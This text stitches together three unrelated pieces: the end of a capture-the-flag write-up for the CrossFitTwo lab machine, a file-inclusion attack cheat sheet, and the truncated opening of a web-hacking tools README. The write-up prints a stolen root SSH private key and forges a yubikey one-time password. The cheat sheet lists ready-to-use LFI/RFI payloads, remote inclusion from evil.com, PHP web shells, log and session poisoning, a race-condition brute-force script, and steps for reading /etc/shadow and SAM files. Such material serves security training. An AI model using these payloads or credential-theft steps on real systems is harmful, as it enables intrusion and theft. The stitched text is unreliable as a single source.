connect to [10.10.14.14] from crossfit.htb [10.10.10.232] 2687 /bin/sh: No controlling tty (open /dev/tty: Device not configured) /bin/sh: Can't find tty file descriptor /bin/sh: warning: won't have full job control crossfit2$ whoami john crossfit2$ id uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins) crossfit2$ ``` ### Root By running ```groups``` / ```id``` we can see we are on the group ```staff```: ```console crossfit2$ id uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins) crossfit2$ groups john staff sysadmins ``` Like before, Let's find files owned by our group: ```console crossfit2$ find / -group staff -ls find: /usr/libexec/auth: Permission denied 1481580 20 -rwsr-s--- 1 root staff 9024 Jan 5 2021 /usr/local/bin/log crossfit2$ file /usr/local/bin/log /usr/local/bin/log: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /usr/libexec/ld.so, for OpenBSD, not stripped ``` By decompile the ```main``` function on ```/usr/local/bin/log``` binary using ```Ghidra``` we can see that all functions are not contains code, They actually contains: ![decompile.JPG](images/decompile.JPG) We can see that we are unable to see the function code, But on the left we can see which C library functions/syscalls are called, In this case It's ```puts``` function. According that, We can change the variables/functions name on ```main``` function: ```C undefined4 main(int param_1,undefined8 *param_2) { int iVar1; long file_ptr; long file_size; undefined8 ptr_malloc; undefined4 local_4c; call_puts("\n* LogReader v0.1\n"); if (param_1 != 2) { call_printf("[*] Usage: %s <log file to read>\n",*param_2); call_exit(0); } iVar1 = call_unveil("/var","r"); if (iVar1 == 0) { file_ptr = call_fopen(param_2[1],"rb"); if (file_ptr == 0) { call_puts("[-] Log file not found!"); local_4c = 1; } else { call_fseek(file_ptr,0,2); file_size = call_fteel(file_ptr); call_printf("[*] Log size: %ld\n\n",file_size); call_rewind(file_ptr); ptr_malloc = call_malloc(file_size); file_ptr = call_fread(ptr_malloc,1,file_size,file_ptr); if (file_ptr == file_size) { call_fwrite(ptr_malloc,1,file_size,0x105108); call_fflush(0x105108); call_free(ptr_malloc); local_4c = 0; } else { call_puts("[-] Error while retrieving contents"); call_free(ptr_malloc); local_4c = 1; } } } else { call_puts("[-] Internal error. Please contact an administrator!"); local_4c = 1; } return local_4c; } ``` So first, It's called to ```unveil("/var","r")``` function, [unveil](https://man.openbsd.org/unveil.2) system call remains capable of traversing to any path in the filesystem, so additional calls can set permissions at other points in the filesystem hierarchy in our case to ```/var``` - Meaning that using ```/usr/local/bin/log``` binary we can read each file on ```/var```. By reading the file [/etc/changelist](https://man.openbsd.org/changelist) which is a simple text file containing the names of files to be backed up to ```/var/backups``` we can see ```root``` files: ```console crossfit2$ cat /etc/changelist | grep root /etc/ftpchroot /root/.Xdefaults /root/.cshrc /root/.login /root/.profile /root/.rhosts /root/.shosts /root/.ssh/authorized_keys /root/.ssh/authorized_keys2 /root/.ssh/id_rsa /var/cron/tabs/root ``` For example, the system shell database, ```/etc/shells```, is held as ```/var/backups/etc_shells.current```. When this file is modified, it is renamed to ```/var/backups/etc_shells.backup``` and the new version becomes ```/var/backups/etc_shells.current```. Thereafter, these files are rotated. So according that ```/root/.ssh/id_rsa``` backed up to ```/var/backups/root_.ssh_id_rsa.current```, Because the file will be on ```/var/backups``` and we can read any file on ```/var``` using ```/usr/local/bin/log``` we can read read the ```root``` private key: ```console crossfit2$ /usr/local/bin/log /var/backups/root_.ssh_id_rsa.current * LogReader v0.1 [*] Log size: 2610 -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- ``` And we got the ```root``` SSH private key, Let's try to use it: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ ssh -i id_rsa [email protected] [email protected]'s password: ``` SSH is still asking for a password after using the ```root``` SSH Key. By reading the file ```/etc/login.conf``` we can see that ```auth-ssh``` required also [yubikey](https://www.yubico.com/) which is 2FA : ```yaml # # Settings used by /etc/rc and root # This must be set properly for daemons started as root by inetd as well. # Be sure to reset these values to system defaults in the default class! # daemon:\ :ignorenologin:\ :datasize=infinity:\ :maxproc=infinity:\ :openfiles-max=102400:\ :openfiles-cur=102400:\ :stacksize-cur=8M:\ :auth-ssh=yubikey:\ :auth-su=reject:\ :tc=default: ``` By reading about [yubikey OpenBSD](https://www.straybits.org/post/2014/openbsd-yubikey/) we can see: ![yubikey.JPG](images/yubikey.JPG) So we have three files on ```/var/db/yubikey/``` ([Reference](https://man.openbsd.org/login_yubikey.8)): 1. ```root.uid``` user's UID (12 hex digits). 2. ```root.key``` the user's key (32 hex digits). 3. ```root.ctr``` user's last-use counter. We can read those files using ```/usr/local/bin/log```: ```console crossfit2$ /usr/local/bin/log /var/db/yubikey/root.key * LogReader v0.1 [*] Log size: 33 6bf9a26475388ce998988b67eaa2ea87 crossfit2$ /usr/local/bin/log /var/db/yubikey/root.uid * LogReader v0.1 [*] Log size: 33 a4ce1128bde4 crossfit2$ /usr/local/bin/log /var/db/yubikey/root.ctr * LogReader v0.1 [*] Log size: 33 985089 ``` Now, We need to generate yubikey token which let us to login to SSH, To do so we need to install ```ykgenerate``` as follow: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ sudo apt-get install libyubikey-dev ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ ykgenerate Usage: ykgenerate <aeskey> <yk_internalname> <yk_counter> <yk_low> <yk_high> <yk_use> AESKEY: Hex encoded AES-key. YK_INTERNALNAME: Hex encoded yk_internalname (48 bit). YK_COUNTER: Hex encoded counter (16 bit). YK_LOW: Hex encoded timestamp low (16 bit). YK_HIGH: Hex encoded timestamp high (8bit). YK_USE: Hex encoded use (8 bit). ``` According the [ykgenerate](https://developers.yubico.com/yubico-c/Manuals/ykgenerate.1.html) page we understand that we need to use this tool as follow (```F0801``` is hex value of ```.ctr``` file which is ```985089```): ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 F0801 c0a8 00 10 error: Hex encoded yk_counter must be 4 characters. ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 f080 c0a8 00 10 hleudvkicjukgecjlrgrcflebbjudrck ``` Let's use this token ```hleudvkicjukgecjlrgrcflebbjudrck``` as ```root``` password: ```console ┌─[evyatar@parrot]─[/hackthebox/CrossFitTwo] └──╼ $ ssh -i id_rsa [email protected] [email protected]'s password: OpenBSD 6.8 (GENERIC.MP) #4: Mon Jan 11 10:35:56 MST 2021 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. crossfit2# id uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) crossfit2# cat root.txt 6fbc09c17cca32cc7c7b563d5376dd3a ``` And we get the root flag ```6fbc09c17cca32cc7c7b563d5376dd3a```.
# File Inclusion > The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. > The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application ## Summary - [File Inclusion](#file-inclusion) - [Summary](#summary) - [Tools](#tools) - [Basic LFI](#basic-lfi) - [Null byte](#null-byte) - [Double encoding](#double-encoding) - [UTF-8 encoding](#utf-8-encoding) - [Path and dot truncation](#path-and-dot-truncation) - [Filter bypass tricks](#filter-bypass-tricks) - [Basic RFI](#basic-rfi) - [Null byte](#null-byte-1) - [Double encoding](#double-encoding-1) - [Bypass allow_url_include](#bypass-allow_url_include) - [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) - [Wrapper php://filter](#wrapper-phpfilter) - [Wrapper zip://](#wrapper-zip) - [Wrapper data://](#wrapper-data) - [Wrapper expect://](#wrapper-expect) - [Wrapper input://](#wrapper-input) - [Wrapper phar://](#wrapper-phar) - [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) - [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) - [LFI to RCE via upload](#lfi-to-rce-via-upload) - [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) - [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile) - [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) - [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) - [RCE via SSH](#rce-via-ssh) - [RCE via Mail](#rce-via-mail) - [RCE via Apache logs](#rce-via-apache-logs) - [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) - [LFI to RCE via credentials files](#lfi-to-rce-via-credentials-files) - [Windows version](#windows-version) - [Linux version](#linux-version) - [References](#references) ## Tools * [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) * [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) * [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) * [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic) ## Basic LFI In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` ### Null byte :warning: In versions of PHP below 5.3.4 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### UTF-8 encoding ```powershell http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 ``` ### Path and dot truncation On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. ```powershell http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` ### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Basic RFI Most of the filter bypasses from LFI section can be reused for RFI. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` ### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ### Bypass allow_url_include When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` ## LFI / RFI using wrappers ### Wrapper php://filter The part "php://filter" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` NOTE: Wrappers can be chained multiple times using `|` or `/`: - Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` - deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` ### Wrapper zip:// ```python echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v ``` Alternatively, Kadimus has a module to automate this attack. ```powershell ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input ``` ### Wrapper phar:// Create a phar file with a serialized object in its meta-data. ```php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ``` If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked ```php class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar'); ``` NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more. ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: <?=phpinfo(); ?> ``` ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via upload (race) Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. * Repeat 1 a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell. ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # <?php echo system('uptime'); print('[+] We have got a shell: ' + url) sys.exit(0) print('[x] Something went wrong, please try again') ``` ## LFI to RCE via upload (FindFirstFile) :warning: Only works on Windows `FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. * Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`. * Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<` ## LFI to RCE via phpinfo() PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. > By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/apache2/access.log http://example.com/index.php?page=/var/log/apache2/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ### RCE via SSH Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`. ```powershell ssh <?php system($_GET["cmd"]);?>@10.10.10.10 ``` Then include the SSH log files inside the Web Application. ```powershell http://example.com/index.php?page=/var/log/auth.log&cmd=id ``` ### RCE via Mail First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. ```powershell root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: [email protected] 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> subject: <?php echo system($_GET["cmd"]); ?> data2 . ``` In some cases you can also send the email with the `mail` command line. ```powershell mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null ``` ### RCE via Apache logs Poison the User-Agent in access logs: ``` $ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>" ``` Note: The logs will escape double quotes so use single quotes for strings in the PHP payload. Then request the logs via the LFI and execute your command. ``` $ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id ``` ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) ```javascript Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files ```javascript /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `<?php system('cat /etc/passwd');?>` ```powershell login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```powershell login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ## LFI to RCE via credentials files This method require high privileges inside the application in order to read the sensitive files. ### Windows version First extract `sam` and `system` files. ```powershell http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam http://example.com/index.php?page=../../../../../../WINDOWS/repair/system ``` Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. ### Linux version First extract `/etc/shadow` files. ```powershell http://example.com/index.php?page=../../../../../../etc/shadow ``` Then crack the hashes inside in order to login via SSH on the machine. Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`. ## References * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) * [Turning LFI to RFI](https://l.avala.mp/?p=241) * [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) * [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) * [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379) * [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1) * [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) * [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)
<h1 align="center"> <br> <a href=""><img src="https://user-images.githubusercontent.com/13212227/104400969-9f3d9280-5596-11eb-80f4-864effae95fc.png" alt="" width="500px;"></a> <br> <img src="https://img.shields.io/github/last-commit/hahwul/WebHackersWeapons?style=flat"> <img src="https://img.shields.io/badge/PRs-welcome-cyan"> <img src="https://github.com/hahwul/WebHackersWeapons/actions/workflows/deploy.yml/badge.svg"> <a href="https://twitter.com/intent/follow?screen_name=hahwul"><img src="https://img.shields.io/twitter/follow/hahwul?style=flat&logo=twitter"></a> </h1> A collection of awesome tools used by Web hackers. Happy hacking , Happy bug-hunting ## Family project [![WebHackersWeapons](https://img.shields.io/github/stars/hahwul/WebHackersWeapons?label=WebHackersWeapons)](https://github.com/hahwul/WebHackersWeapons) [![MobileHackersWeapons](https://img.shields.io/github/stars/hahwul/MobileHackersWeapons?label=MobileHackersWeapons)](https://github.com/hahwul/MobileHackersWeapons) ## Table of Contents - [Weapons](#weapons) - [Tools](#tools) - [Bookmarklets](#bookmarklets) - [Browser Addons](#browser-addons) - [Burp and ZAP Addons](#burpsuite-and-zap-addons) - [Contribute](CONTRIBUTING.md) - [Thanks to contributor](#thanks-to-contributor) ## Weapons *Attributes* | | Attributes | |-------|---------------------------------------------------| | Types | `Army-Knife` `Proxy` `Recon` `Fuzzer` `Scanner` `Exploit` `Env` `Utils` `Etc`| | Tags | [`pentest`](/categorize/tags/pentest.md) [`mitmproxy`](/categorize/tags/mitmproxy.md) [`live-audit`](/categorize/tags/live-audit.md) [`crawl`](/categorize/tags/crawl.md) [`infra`](/categorize/tags/infra.md) [`portscan`](/categorize/tags/portscan.md) [`subdomains`](/categorize/tags/subdomains.md) [`url`](/categorize/tags/url.md) [`osint`](/categorize/tags/osint.md) [`js-analysis`](/categorize/tags/js-analysis.md) [`dns`](/categorize/tags/dns.md) [`endpoint`](/categorize/tags/endpoint.md) [`param`](/categorize/tags/param.md) [`apk`](/categorize/tags/apk.md) [`takeover`](/categorize/tags/takeover.md) [`graphql`](/categorize/tags/graphql.md) [`online`](/categorize/tags/online.md) [`port`](/categorize/tags/port.md) [`domain`](/categorize/tags/domain.md) [`cache-vuln`](/categorize/tags/cache-vuln.md) [`jwt`](/categorize/tags/jwt.md) [`ssrf`](/categorize/tags/ssrf.md) [`path-traversal`](/categorize/tags/path-traversal.md) [`crlf`](/categorize/tags/crlf.md) [`smuggle`](/categorize/tags/smuggle.md) [`s3`](/categorize/tags/s3.md) [`xss`](/categorize/tags/xss.md) [`403`](/categorize/tags/403.md) [`broken-link`](/categorize/tags/broken-link.md) [`sqli`](/categorize/tags/sqli.md) [`dependency-confusion`](/categorize/tags/dependency-confusion.md) [`ssl`](/categorize/tags/ssl.md) [`oast`](/categorize/tags/oast.md) [`cors`](/categorize/tags/cors.md) [`exploit`](/categorize/tags/exploit.md) [`aaa`](/categorize/tags/aaa.md) [`csp`](/categorize/tags/csp.md) [`RMI`](/categorize/tags/RMI.md) [`rop`](/categorize/tags/rop.md) [`xxe`](/categorize/tags/xxe.md) [`lfi`](/categorize/tags/lfi.md) [`blind-xss`](/categorize/tags/blind-xss.md) [`http`](/categorize/tags/http.md) [`wordlist`](/categorize/tags/wordlist.md) [`documents`](/categorize/tags/documents.md) [`nuclei-templates`](/categorize/tags/nuclei-templates.md) [`notify`](/categorize/tags/notify.md) [`cookie`](/categorize/tags/cookie.md) [`deserialize`](/categorize/tags/deserialize.md) 